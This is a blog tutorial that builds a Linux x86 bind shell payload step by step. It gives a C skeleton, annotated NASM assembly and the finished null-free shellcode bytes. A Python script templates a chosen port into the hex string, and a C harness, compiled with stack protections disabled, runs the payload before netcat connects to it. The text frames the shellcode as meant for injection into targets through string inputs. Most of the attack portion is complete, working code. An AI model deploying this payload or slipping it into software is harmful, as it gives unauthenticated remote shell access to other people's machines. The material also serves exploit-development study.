• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar
  • Skip to secondary sidebar
OpenTechTips

OpenTechTips

Comprehensive IT Guides for Pros and Enthusiasts

MENUMENU
  • HOME
  • ALL TOPICS
    • Exchange
    • InfoSec
    • Linux
    • Networking
    • Scripting
      • PowerShell
    • SSL
    • Tools
    • Virtualization
    • Web
    • Windows
  • ABOUT
  • SUBSCRIBE
Home » Linux Bind Shell – x86

Linux Bind Shell – x86

March 23, 2020 - by Zsolt Agoston - last edited on April 18, 2020

After the long intro, let’s just jump into it!  First of all, this set of articles that are dealing with shellcodes written for linux machines running on 32bit CPU architecture (we’ll talk about the differences between 32bit and 64bit architectures later on). The codes are presented on an Ubuntu 16.04 /x86 box, I need to admit that I simply love Debian and it’s GNOME GUI, however Unity has a fantastic style and color layout, that’s why I’ve chosen Ubuntu as the underlying operating system here. I’ll link a detailed article on building a nice Debian box from scratch with all the tools and tweaks I love in it in case you’re interested.

The first shellcode we’ll create is a bind shell. What is it exactly?

You must have used some kind of shells a thousand times: on Unix, Linux, Apple devices the most common ones are Bourne Again Shell (/bin/bash) and Bourne Shell (/bin/sh), in the Microsoft world it’s the well-known command prompt (cmd). What if you could connect to a remote computer, and receive a similar shell, with which you could execute any commands on the remote machine and see the results straight away? Like a telnet, ssh or psexec prompt, only without the need of using a password, or authenticate in any other ways. Well, this is what bind and reverse shells are for. We’ll see in a later article how to inject these shellcodes, this time we are focusing on the code itself.

Let’s start with the bind shell, how it works: it simply opens up a port on the remote machine, that is waiting for an incoming connection and once we connect to it, a shell will be presented to us.

Let’s see a little C skeleton script to understand what we are dealing with:

/*
 Title: Linux/x86 Bind Shell code – simple C skeleton
 Source: https://www.exploit-db.com/exploits/40056
 */

 #include <sys/socket.h>
 #include <unistd.h>
 #include <netinet/in.h>

 int main(void)
 {
 int sock_file_des, clientfd;

 struct sockaddr_in saddr;
 saddr.sin_family = AF_INET;                                         // socket type
 saddr.sin_port = htons(2020);                                      // listening port tcp/2020
 saddr.sin_addr.s_addr = INADDR_ANY;                                 // bindshell will be listening on any address

 sock_file_des = socket(AF_INET, SOCK_STREAM, 0);                   // create tcp socket (SOCK_STREAM for tcp)
 bind(sock_file_des, (struct sockaddr *) &saddr, sizeof(saddr));    // bind socket
 listen(sock_file_des, 0);                                           // listening for new connection
 clientfd = accept(sock_file_des, NULL, NULL);                       // accept incoming connections
 dup2(clientfd, 0);                                                  // redirect stdin
 dup2(clientfd, 1);                                                 // redirect stdout
 dup2(clientfd, 2);                                                  // redirect stderr

 execve("/bin/sh",NULL,NULL);                                        // execute /bin/sh
 }

The easy to get the concept here, first we declare the variables we use the socket file descriptor and the sockaddr_in structure that will store the ip address and port number we will be binding to. Note that sockaddr_in structure is pre-defined in <netinet/in.h> header file so we don’t need to declare it manually, however an interesting thing should be highlighted here. Let’s see the structure in netinet.in.h:

 struct sockaddr_in {
 short   sin_family;           // 2 bytes
 u_short sin_port;             // 2 bytes, network byte ordered
 struct  in_addr sin_addr;     // 4 bytes, network byte ordered
         char    sin_zero[8];          // 8 bytes, unused
 };

We can see that sin_family is AF_INET, which simply means that the connection family is internetwork (TCP, UDP, etc.), the data type is short wich means 16 bits or in other words 2 bytes.

The next value is sin_port, that will store the port number, the data type is unsigned short, (unsigned because the port can’t be a negative value) is will occupy also 2 bytes. If you think about it that makes total sense, 2 bytes (16 bits) can have 216=65,535 ports (port 0 is not used by many systems so we don’t use it at all).

The next component is a structure named in_addr. It contains an unsigned long value which is 4 bytes.

struct in_addr {
unsigned long saddr; //ip address as 4 bytes, in network byte order
};

Where is the sin_zero part in our code, which is 8 bytes large ? Well, according to the POSIX specification there can be other members in the structure if it’s needed just in case.  We don’t need any, so it serves technically as padding. That will be interesting later.

As the next step we create a socket, then bind the ip address and port number using the pre-defined structure to it. Note that we use INADDR_ANY, which it techinally equals to 0. IP 0.0.0.0 tells the computer to bind all available ip addresses to our socket. It is only interesting in cases where the computer contains multiple NICs, so multiple IPs are used by the machine (like a web server), so if needed we could specify a specific address so the defined port would be opened only on that interface. In our case it’s irrelevant, in fact it’s better for us if all NICs on the box can be used to connect to it.

Once the port is bind, we use the listen function which converts the still unconnected socket into a passive socket, indicating that the kernel should accept incoming requests directed to this socket, and then the accept function for return the completed connection from the connection-queue.

The last step is to redirect the three I/O connections – standard input (stdin), standard output (stdout) and standard error (stderr) – to the socket (so you can type input in it, see the output on the screen, and get the error messages as well) and start the Bourne shell (sh) using execve. We could go for “bash” or other shells as well, but “sh” is the most generic and the smallest one, it just makes sense to use it here.

It’s time for creating our assembly code using the skeleton C script. Why assembly? Isn’t it enough to use the C script?

As we mentioned earlier we need to use computer codes, to make these commands understandable for the computer. In C creating the socket is a simple command:

socket(AF_INET, SOCK_STREAM, 0);

The language that the CPU uses there are not such complex command like this, we can write, read memory addresses, registers, invoking interrupts. Does that mean that we need break down the command, tell the computer what to write/read exactly, declaring all the steps for the three way handshake, etc? Luckily linux helps us. The kernel is happy to do all these jobs for us, the only thing we need to do is to invoke the kernel (by using system calls), with the right register- and stack contents which contains all the arguments the process needs to know to run. Let’s see an example to understand this more.

Start with creating the socket. We issue a system call by adjusting the necessary registers (eax, ebx, ecx, etc) and the stack (a special memory, signed with esp), they will be fuctioning as arunments for the command that the kernel will execute, and issue the int 0x80 interrupt that is specific to linux and BSD and which interacts with the kernel.

OK, how to tell the kernel which command to use? We simply need to put the right number for that syscall in register  eax. Now how to know the right number. Lets open the /usr/include/i386-linux-gnu/asm/unistd_32.h file. We can see that for socketcalls we need to use syscall number 102. In hex it’s 0x66.

Linux Bind Shell &#8211; x86

OK, what other arguments do we need to use to open a socket? We take a look in /usr/include/linux/net.h to see the right call number to create a socket. It seems to be 1. We see number 2 is for binding which is the next step, 4 is listen, 5 is accept. We’ll need those later. Great!

Linux Bind Shell &#8211; x86

Now if we check the C script we see 3 arguments for socket(). What exactly are they? The linux manual is to the rescue, looking up the socket() command, page 2: man 2 socket

Linux Bind Shell &#8211; x86

Excellent stuff. See our script, we used: socket (AF_INET, SOCK_STREAM, 0). Obviously we can put only numbers in the registers and in the stack, how do we know what number corresponds to which value?

Again, the linux header files help, /usr/include/i386-linux-gnu/bits/socket.h tells us that AF_INET corresponds to number 2, and /usr/include/i386-linux-gnu/bits/socket_type.h shows that SOCK_STREAM is number 1. Normally there is only a single protocol exists within a given protocol family so the third argument is 0.

Ok, hold on, we are almost there, the other steps will be simpler knowing these. Let’s summarize:

We need to issue interrupt 0x80 which asks the linux kernel to run a command.
We need to issue a socketcall, which is syscall 0x66. That will go to eax. Excellent
As a socketcall we need to create the socket which is number 1, so the next register, ebx=1

The “create socket” command has three arguments: AF_INET, SOCK_STREAM and 0, which corresponds to 2,1,0. These arguments need to be loaded in the stack. Because the stack uses LIFO data management, we need to load these arguments in a reverse order to get them right when they are read by the system.

Here we go:

 push 0x66

 pop eax            ; move socket syscall to eax
 xor ebx, ebx       ; 0x00 in ebx
 push ebx
 inc ebx            ; put 0x1 to ebx

 push ebx           ; value 0x01 is pushed in to the stack (SOCK_STREAM=1)
 push 0x02          ; value 0x02 is pushed onto stack (AF_INET=2)
 mov ecx, esp       ; save the pointer to arguments in ecx
 int 0x80           ; socket()

So what did we do here? There is an important concept to talk about at this point. In shellcodes we must avoid using zero bytes (0x00 or \x00)! This is because most of the time the shellcode is delivered to the target by using an input that accepts strings, say a password field on an ftp server. Now traditionally zero bytes mark the end of a string, if the code contained such a zero byte, the rest of the code would be dropped by the target, the code would become useless. If we used:

mov eax, 0x66

what would it do? Let’s use the excellent nasm_shell.rb to make it visible (if you don’t have that installed check out my other post on how to build and customize a debian VM, or install Metasploit Framework on your existing machine):

Linux Bind Shell &#8211; x86
Linux Bind Shell &#8211; x86

Ah, the code contains three zero bytes! Why? Well, eax register is a double word large register, that means 4 bytes. 0x66 uses only the first byte, the command however writes the whole register, filling the upper 3 bytes with 0 -s. How can we avoid this to happen? We need to put 0-s in eax in some way and move 0x66 in the lowest byte then. How to zero out a whole register without actually writing 0-s in the code? We use the well-known XOR (eXclusive OR) technique for that:

xor eax, eax
mov al, 0x66

XOR bitwise operator technically gives back 0 if the inputs match, so if we XOR a number with itself, the value will be zero. It’s worth to take a look on how the XOR gate builds up (a,b input, c output):

Linux Bind Shell &#8211; x86

Now we need to put 0x66 to only the lower byte of the ax register, called al J. Let’s see the computer code for that:

Linux Bind Shell &#8211; x86

\x31\xc0\xb0\x66, no zero bytes! Now as we see it’s a 4 byte large code. Is there a way to make it smaller? What if we used the stack (that uses double word sized memory chunks by default, and pop it to eax?

push 0x66
pop eax            ; move socket syscall to eax
Linux Bind Shell &#8211; x86

\x6a\x66\x58: 3 bytes only, we saved 1 byte which is great!

What else do we need before issueing the syscall? See:

$eax=0x66 – done
$ebx=1
$ecx=stack memory address
The stack: 2,1,0

Ok, we use the XOR trick to put 0x00 in $ebx. Also remember, we need to load 2,1 and 0 in the stack in reverse order of course so we also begin it, pushing $ebx (0x00) in the stack. That will be followed by 1 and lastly 2 later.

 xor ebx, ebx                 ; 0x00 in ebx
 push ebx                     ; push 0x00 to the stack
 inc ebx                      ; put 0x1 to ebx
 push ebx                     ; value 0x01 is pushed in to the stack (SOCK_STREAM=1)
 push 0x02                    ; value 0x02 is pushed onto stack (AF_INET=2)

Now we increase ebx by one, setting it to it’s final value for the call, also pushing it to the stack so now it contains the ..,1,0 values. Next we push 0x02 to the stack straight, which completes the stack. As the last step we put the memory address of $esp (the stack) in $ecx.

Time for the syscall Linux Bind Shell &#8211; x86: int 0x80

All syscalls return a value in $eax, and because it will be used shortly many times, we save it’s value to the esi register which is rarely touched.

Bind syscall is next:

Now we have finished with the first step, we go on and bind the IP 0.0.0.0 and port 2020 to the socket, so the target will be listening on tcp/2020 on every NICs when our code is run Linux Bind Shell &#8211; x86

We follow the steps described earlier, putting the right argument values in the right registers, and in the stack of course, and make the syscall.

We already know that the socketcall syscall will be used so we put 0x66 in $eax (see, this is why we saved it’s content to esi earlier). $ebx needs the corresponding bind() function number, if you remember we already know from /usr/include/linux/net.h that it is going to be 2

Linux Bind Shell &#8211; x86

Checking the bind() manual page shows that it needs three arguments, which will be pushed to the stack like we saw with the socket() command earlier. In reverse order, the content of the stack is: the size of the socket, the address of the structure (that stores the connection family, port and ip) and the socket file descriptor that we saved in $esi. So let’s see:

 ;bind(sock_file_des, (struct sockaddr *) &sock_ad, sizeof(sock_ad));
 ;bind = 2 (/usr/include/linux/net.h)
 ; eax=0x66, ebx=0x02, stack: socketfd value from previous step, stack mem address starts at AF_INET, 0x10, 2, 2020, 0 [socketfd, struct pointer, address size(4×4), AF_INET, port, ip (zero here which means any address (0.0.0.0)]
 ; more simple form of stack: sock_file_des, mem addr for stuct, struck leght (16 bytes), the struck itself

 cdq                          ; 0x00 in edx, this trick uses the cdq command, which extends the eax register
 ; into edx in case the SF flag is set (negative value of eax), which is not the
 ; case so it zeros out edx, this way we can save an extra byte

 push edx                     ; push 0x00 on to stack (INADDR_ANY)
 push word 0xe407             ; listen on port 2020 (2020 is 0x07E4 in hex, we need to use a reverse byte order, putting 0xE4 first, then 0x07)
 push word 0x2                ; AF_INET=2, TCP protocol 2
 mov ecx, esp                 ; save the pointer to arguments in ecx

 mov al, 0x66                 ; sys socket call
 inc ebx                      ; bind(2)
 push 0x10                    ; push size of sock_ad (the address length, 8+8 sin_zero member) to the stack
 push ecx                     ; struct pointer
 push esi                     ; push previously saved socket file descriptor onto stack
 mov ecx, esp                 ; save the pointer to args in ecx
 int 0x80

First it sounds confusing but it will be really simple, we’ll simply load the structure first, in reverse of course in the stack: IP (which in our case INADDR_ANY, so all 0 J), port (2020 in decimal, convert to hexadecimal it’s 0x07e4; because of the 32bit CPU architecture which uses little endian logic we need to load that in reverse as well: 0xe407). To understand the difference between little- and big endian you might want to check the excellent wikipedia page about it. In nutshell little-endian is an order in which the “little end” (least significant value in the sequence) is stored first in the memory. This case the lower byte is 0xe4 so we need to put that first which is followed by 0x07.

After the port number we push 0x02 (the corresponding number for AF_INET) to the stack which completes the struct. We save the memory address for that structure in $ecx temporarly, remember we’ll need to push that address to the stack later as well, as part of the bind() argument.

We move 0x66 to al (lowest byte of the eax register). Wait, why don’t we use eax instead of al? The answer is simple, moving 0x66 to the 4byte large eax would put three zero bytes in our code. XOR-ing eax with itself would zero it out before we set $al, but is it really necessary? We’ve already zeroed eax out at the beginning of our shellcode, and it contained 0x66 before the syscall. What has changed? Well, the syscall put our socket file descriptor in eax after it run. If it is not larger than 255 (0xff) then we are good, since the eax register wasn’t touched in any other ways. Let’s fire up gdb (GNU debugger) to see what value we can expect there?

Linux Bind Shell &#8211; x86

Great, the value is 0x03, we don’t expect that to grow over 255, it’s enough to move 0x66 in al, we save two bytes by omitting the unnecessary xor eax, eax command! Next we need to put 2 in $ebx. Since the last time we increased that to 1 it hasn’t changed, all we need to do is increasing it further. Excellent! Now we simply push the structure length (16 or 0x10 in hex), $ecx (which contains the memory address of the structure) and $esi (which holds the socket file descriptor value).

Awesome… but wait, why is the structure size 16 bytes? Is should contain the connection family type which is 2 (occupies 2 bytes, or in other words: a single word – see the code, we used push word 0x02, otherwise push would put the regular double word value to the stack!), the port number which uses also 2 bytes, and the ip address which is 4 bytes long. 8 bytes altogether… Well, I quote: “The POSIX specification requires only three members in the structure: sin_family, sin_addr, and sin_port. It is acceptable for a POSIX-compliant implementation to define additional structure members, and this is normal for an Internet socket address structure. Almost all implementations add the sin_zero member so that all socket address structures are at least 16 bytes in size.”  Also if we check the sockaddr_in built-in structure we see that it contains a sin_zero part that is 8 chars long, in our case it’s not used, it is used as simply padding Linux Bind Shell &#8211; x86

struct sockaddr_in {
 short   sin_family;           // 2 bytes
 u_short sin_port;             // 2 bytes, network byte ordered
 struct  in_addr sin_addr;     // 4 bytes, network byte ordered
         char    sin_zero[8];  // 8 bytes, unused
 };

It’s clear, the kernel expects 16 bytes, so 0x10 is pushed to the stack.

OK, back to the business J, as the last step we put the actual stack memory address in $ecx and call the kernel.

Next, we need to call the listen function to make the kernel be listening on our port. The listen() function is pretty simple it expects only the sockfd value and the backlog value in the stack, so we push 0x00 first (using $edx which has zero in it) and $esi that holds the sockfd value, put the usual 0x66 socketcall value in $al (upper 3 bytes are still zeroes) and 4 in $bl (remember, $ebx contains 2, this case it doesn’t make a difference if we use “mov bl, 0x4” or “inc ebx” twice, both cases it will be 2 bytes), and we put the stack memory address in $ecx.

 ; listen(sock_file_des, 0);
 ; int listen(int sockfd, int backlog);
 ; cat /usr/include/linux/net.h | grep listen
 ; listen=4
 ; eax=0x66, ebx=4, ecx=args in stack (sockfd, backlog)

 mov al, 0x66                 ; sys socket call
 mov bl, 0x4                  ; listen(4)
 push edx                     ; push 0 onto stack (backlog=0)
 push esi                     ; sockfd (sock_file_des )
 mov ecx, esp                 ; save the pointer to args in ecx
 int 0x80

As a sidenote, the backlog value describes the size of the listen queue, in a few languages 0 is not permitted, in C and our case it’s fine using 0, however we can use 1 as well since we are expecting only one connection on that port)

Let’s go for the “int 0x80” syscall!

We are getting close, already having a socket, with our port bind to it, which is listening for incoming connections. Next we need to ensure that the kernel will accept our connection when we initiate it. The accept() function is just as simple as the listen() function was.

 ;accept(sock_file_des, NULL, NULL)
 ;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
 ;cat /usr/include/linux/net.h | grep accept
 ;accept=5
 ; eax=0x66, ebx=5, ecx=args in stack (sockfd, NULL, NULL)

 mov al, 0x66                 ; sys socket call
 inc ebx                      ; accept(5)
 push edx                     ; null value socklen_t *addrlen
 push edx                     ; null value sockaddr *addr
 push esi                     ; sockfd (sock_file_des )
 mov ecx, esp                 ; save the pointer to args in ecx
 int 0x80

As we see it is expecting three arguments, the usual sockfd value, and the incoming node’s ip and port values in a separate structure, also the structure’s size. In our case these values are not known, we simply put zeroes in them so the kernel will accept connection from any sources.

Simple, we push edx twice to the stack (the two zero arguments), and esi as well (the sockfd value). As it’s now a regular thing, we put the stack address in $ecx. Because $ebx is 4 at this point, and the accept() funcion’s identifier is 5, we save a byte by simply increasing $ebx again.Also put the usual 0x66 value in $al and we are ready to rock! Int 0x80

OK, we have two more things to do, first we redirect the three I/O channels to our socket to be able to type in the shell, and see the output in it. To save valuable bytes we create a simple loop that repeats 0x3f (dup2) syscall three times. We use the $ecx register that is the default loop counter, and the jns command, that will always return while the SF (sign flag) is not set. As soon as the loop decrements $ecx below zero, the SF flag is set and the loop stops.

The $ebx flag contains the client host’s file descriptor after the connection is established, and $ecx (the second argument of dup2() ) will run with 2, 1, and 0 before the loop finishes:
;dup2(clientfd, 0); // stdin
;dup2(clientfd, 1); // stdout
;dup2(clientfd, 2); // stderr

The last step is to run /bin/sh using execve to receive our shell!

 ;execute shell (here we use /bin/sh) using execve call
 ;execve(“//bin/sh”,[“//bin/sh”])
 ; eax=0x0b, ebx=(pointer to the kernel instruction), ecx=0, edx=0

 mov al, 0x0b                 ; execve
 push edx                     ; push null
 push 0x68732f6e              ; hs/n
 push 0x69622f2f              ; ib//
 mov ebx,esp                  ; save pointer
 xor ecx, ecx                 ; null out ecx
 int 0x80

Syscall number for execve is 0x0b (decimal 11), which is put in $al as usual. In the stack we need to load the command that will be executed on the remote box, which is the /bin/sh executable shell file. But there is a problem, we only can operate with the default chunk size of the stack which is a double word (4 bytes). The “/bin/sh” string is 7 byes long. In Linux luckily it is not important how many “/” character we use to issue a command, “/bin/sh” is the same as “////bin/sh” or “/bin////sh”

Knowing that we simply use “//bin/sh”, which will take two double words, of course in reverse order, using the ASCII table:

\x68\x73\x2f\x6e = hs/n
\x69\x62\x2f\x2f = ib//

Push them in the stack J!  Don’t forget that we need to end the string with a zero byte so push £edx to the stack first which contains 0x00 at the moment. Also move the stack address in $ebx and zero out the last two arguments, $edx is already zero as said, we simply move $edx to $ecx, and go for the syscall!

We are done!

The final code is:

 ; Title: Linux/x86 Bind Shell code – 89 bytes

 global _start

 section .text

 _start:

 ;create socket
 ;in /usr/include/i386-linux-gnu/asm/unistd_32.h searching for socket gives back syscall 102 (#define __NR_socketcall 102), in hex it is 0x66
 ;int socket(int domain, int type, int protocol) ==> socket(AF_INET, SOCK_STREAM, 0) ==> socket(2,1,0)
 ;AF_INET = 2  ( /usr/include/i386-linux-gnu/bits/socket.h)
 ;SOCK_STREAM = 1 (/usr/include/i386-linux-gnu/bits/socket_type.h)
 ; eax=0x66, ebx=0x01, stack has the socket args: 2,1,0

 push 0x66
 pop eax                      ; move socket syscall to eax

 xor ebx, ebx                 ; 0x00 in ebx
 push ebx                     ; push 0x00 to the stack
 inc ebx                      ; put 0x1 to ebx

 push ebx                     ; value 0x01 is pushed in to the stack (SOCK_STREAM=1)
 push 0x02                    ; value 0x02 is pushed onto stack (AF_INET=2)
 mov ecx, esp                 ; save the pointer to arguments in ecx
 int 0x80                     ; socket()

 mov esi, eax                 ; the syscall returns the socket file descriptor to eax, we store it in esi register

 ;bind(sock_file_des, (struct sockaddr *) &sock_ad, sizeof(sock_ad));
 ;bind = 2 (/usr/include/linux/net.h)
 ; eax=0x66, ebx=0x02, stack: socketfd value from previous step, stack mem address starts at AF_INET, 0x10, 2, 2020, 0 [socketfd, struct pointer, address size(4×4), AF_INET, port, ip (zero here which means any address (0.0.0.0)]
 ; more simple form of stack: sock_file_des, mem addr for stuct, struck leght (16 bytes), the struck itself

 cdq                          ; 0x00 in edx, this trick uses the cdq command, which extends the eax register

 ; into edx in case the SF flag is set (negative value of eax), which is not the
 ; case so it zeros out edx, this way we can save an extra byte

 push edx                     ; push 0x00 on to stack (INADDR_ANY)
 push word 0xe407             ; listen on port 2020 (2020 is 0x07E4 in hex, we need to use a reverse byte order, putting 0xE4 first, then 0x07)
 push word 0x2                ; AF_INET=2, TCP protocol 2
 mov ecx, esp                 ; save the pointer to arguments in ecx

 mov al, 0x66                 ; sys socket call
 inc ebx                      ; bind(2)
 push 0x10                    ; push size of sock_ad (the address length, 8+8 sin_zero member) to the stack
 push ecx                     ; struct pointer
 push esi                     ; push previously saved socket file descriptor onto stack
 mov ecx, esp                 ; save the pointer to args in ecx
 int 0x80

 ; listen(sock_file_des, 0);
 ; int listen(int sockfd, int backlog);
 ; cat /usr/include/linux/net.h | grep listen
 ; listen=4
 ; eax=0x66, ebx=4, ecx=args in stack (sockfd, backlog)

 mov al, 0x66                 ; sys socket call
 mov bl, 0x4                  ; listen(4)
 push edx                     ; push 0 onto stack (backlog=0)
 push esi                     ; sockfd (sock_file_des )
 mov ecx, esp                 ; save the pointer to args in ecx
 int 0x80

 ;accept(sock_file_des, NULL, NULL)
 ;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
 ;cat /usr/include/linux/net.h | grep accept
 ;accept=5
 ; eax=0x66, ebx=5, ecx=args in stack (sockfd, NULL, NULL)

 mov al, 0x66                 ; sys socket call
 inc ebx                      ; accept(5)
 push edx                     ; null value socklen_t *addrlen
 push edx                     ; null value sockaddr *addr
 push esi                     ; sockfd (sock_file_des )
 mov ecx, esp                 ; save the pointer to args in ecx
 int 0x80

 ;redirect stdin, stdout, stderr
 ;int dup2(int oldfd, int newfd);
 ;dup2(clientfd, 0); // stdin
 ;dup2(clientfd, 1); // stdout
 ;dup2(clientfd, 2); // stderr
 ; eax=0x3f, ebx=clientfd, ecx= (with the loop, it’s 2-1-0 to redirect all 3 file descriptors)

 mov ebx, eax                 ; move clientfd to ebx
 push 0x02
 pop ecx                      ; counter to loop 3 times (executes on cl=0, exits loop when SF=1)

 stdloop:

 mov al, 0x3f       ; sys call for dup2
 int 0x80
 dec ecx             ; decrement the loop counter
 jns stdloop        ; loop as long sign flag is not set

 ;execute shell (here we use /bin/sh) using execve call
 ;int execve(const char *filename, char *const argv[], char *const envp[]);
 ;execve("//bin/sh",["//bin/sh"])
 ; eax=0x0b, ebx=(pointer to the kernel instruction), ecx=0, edx=0

 mov al, 0x0b                 ; execve
 push edx                     ; push null
 push 0x68732f6e              ; hs/n
 push 0x69622f2f              ; ib//
 mov ebx,esp                  ; save pointer
 xor ecx, ecx                 ; null out ecx
 int 0x80

As confident we are that it is working fine we put a simple python code together that expects a port value and generate the whole shellcode in hex format that can be tested with a simple c program.

Let’s do it:

First I save the code to a file called linux_x86_bind.nasm and compile it:

nasm -f elf32 -o linux_x86_bind.o linux_x86_bind.nasm
ld -o linux_x86_bind linux_x86_bind.o

Then I extract the code in hexadecimal format using the objdump command:

objdump -d linux_x86_bind |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d " -s |sed 's/^/"/'|sed 's/$/"/g'

Now it’s easy to create the script, that will take the port number as an argument, convert it to hexadecimal format and split it to 2 single byte values.

It’s important to say that neither the port numbers can be zero bytes, if they were, the shellcode would be partially dropped by the target which is not desirable.

 !/usr/bin/python
 Title: Linux/x86 Bind Shell code creator

 import sys

 if len(sys.argv)<2:
 print "Usage: "+sys.argv[0]+" [port number]"
 exit()

 port = int(sys.argv[1])

 if port > 65535 or port < 1:
 print "[!] Port value must be between 1 and 65535!"
 exit()

 hexport = hex(port)[2:].zfill(4)        # if the value is shorter than 4 chars, it inserts leading 0-s

 fbyte = hexport[0:2]                    # put first byte of port in fbyte, second byte on sbyte
 sbyte = hexport[2:4]

 if fbyte == "00" or sbyte == "00":
 print "Port value in hex contains a zero byte which is not permitted!"
 exit()

 print "\033[1;36m\nBind shell on port tcp/" + str(port) + ", in hex: 0x" + hexport + "\033[1;m\n"

 shellcode = (
 "\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6"+
 "\x99\x52\x66\x68\033[1;32m\x" + fbyte + "\x" + sbyte + "\033[1;m\x66\x6a\x02\x89\xe1\xb0\x66\x43\x6a\x10"+
 "\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80"+
 "\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x02\x59\xb0"+
 "\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f"+
 "\x2f\x62\x69\x89\xe3\x31\xc9\xcd\x80")

 print "Shellcode:\n\n\" + shellcode + "\n\n"

Let’s test it:

Linux Bind Shell &#8211; x86

I inject it to a skeleton C script, compile it and run the new executable that contains our payload

 #include <stdio.h>
 #include <string.h>

 unsigned char code[] = \
"\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x99\x52\x66\x68\x04\xd2\x66\x6a\x02\x89\xe1\xb0\x66\x43\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\xcd\x80";

 int main()
 {
 printf("Shellcode Length:  %d\n", strlen(code));
 int (*ret)() = (int(*)())code;
 ret();
 }

Compile: “gcc -fno-stack-protector -z execstack linux_x86_bind.c -o linux_x86_bind”

Running it we can see it’s waiting for incoming connections, we use netcat to connect to our machine. Because the bind shell is listening on all IP addresses we simply use the loopback address, and port 1234:

Linux Bind Shell &#8211; x86
Linux Bind Shell &#8211; x86

Reader Interactions

Comments

  1. ปั้มไลค์ says

    July 21, 2020 at 12:08

    Like!! I blog quite often and I genuinely thank you for your information. The article has truly peaked my interest.

    Reply
    • Zsolt Agoston says

      July 22, 2020 at 11:41

      Thank you, glad you liked the article 🙂

      Reply
  2. dogs says

    September 30, 2020 at 21:01

    I was able to find good advice from your content.

    Reply

Comments Cancel reply

Your email address will not be published. Required fields are marked *

Primary Sidebar

Tools

Secondary Sidebar

  • Terms of Use
  • Disclaimer
  • Privacy Policy
Manage your privacy

To provide the best experiences, we and our partners use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us and our partners to process personal data such as browsing behavior or unique IDs on this site and show (non-) personalized ads. Not consenting or withdrawing consent, may adversely affect certain features and functions.

Click below to consent to the above or make granular choices. Your choices will be applied to this site only. You can change your settings at any time, including withdrawing your consent, by using the toggles on the Cookie Policy, or by clicking on the manage consent button at the bottom of the screen.

Functional Always active
The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.
Preferences
The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.
Statistics
The technical storage or access that is used exclusively for statistical purposes. The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.
Marketing
The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.
Statistics

Marketing

Features
Always active

Always active
Manage options Manage services Manage {vendor_count} vendors Read more about these purposes
Manage options
{title} {title} {title}
Manage your privacy
To provide the best experiences, we use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us to process data such as browsing behavior or unique IDs on this site. Not consenting or withdrawing consent, may adversely affect certain features and functions.
Functional Always active
The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.
Preferences
The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.
Statistics
The technical storage or access that is used exclusively for statistical purposes. The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.
Marketing
The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.
Statistics

Marketing

Features
Always active

Always active
Manage options Manage services Manage {vendor_count} vendors Read more about these purposes
Manage options
{title} {title} {title}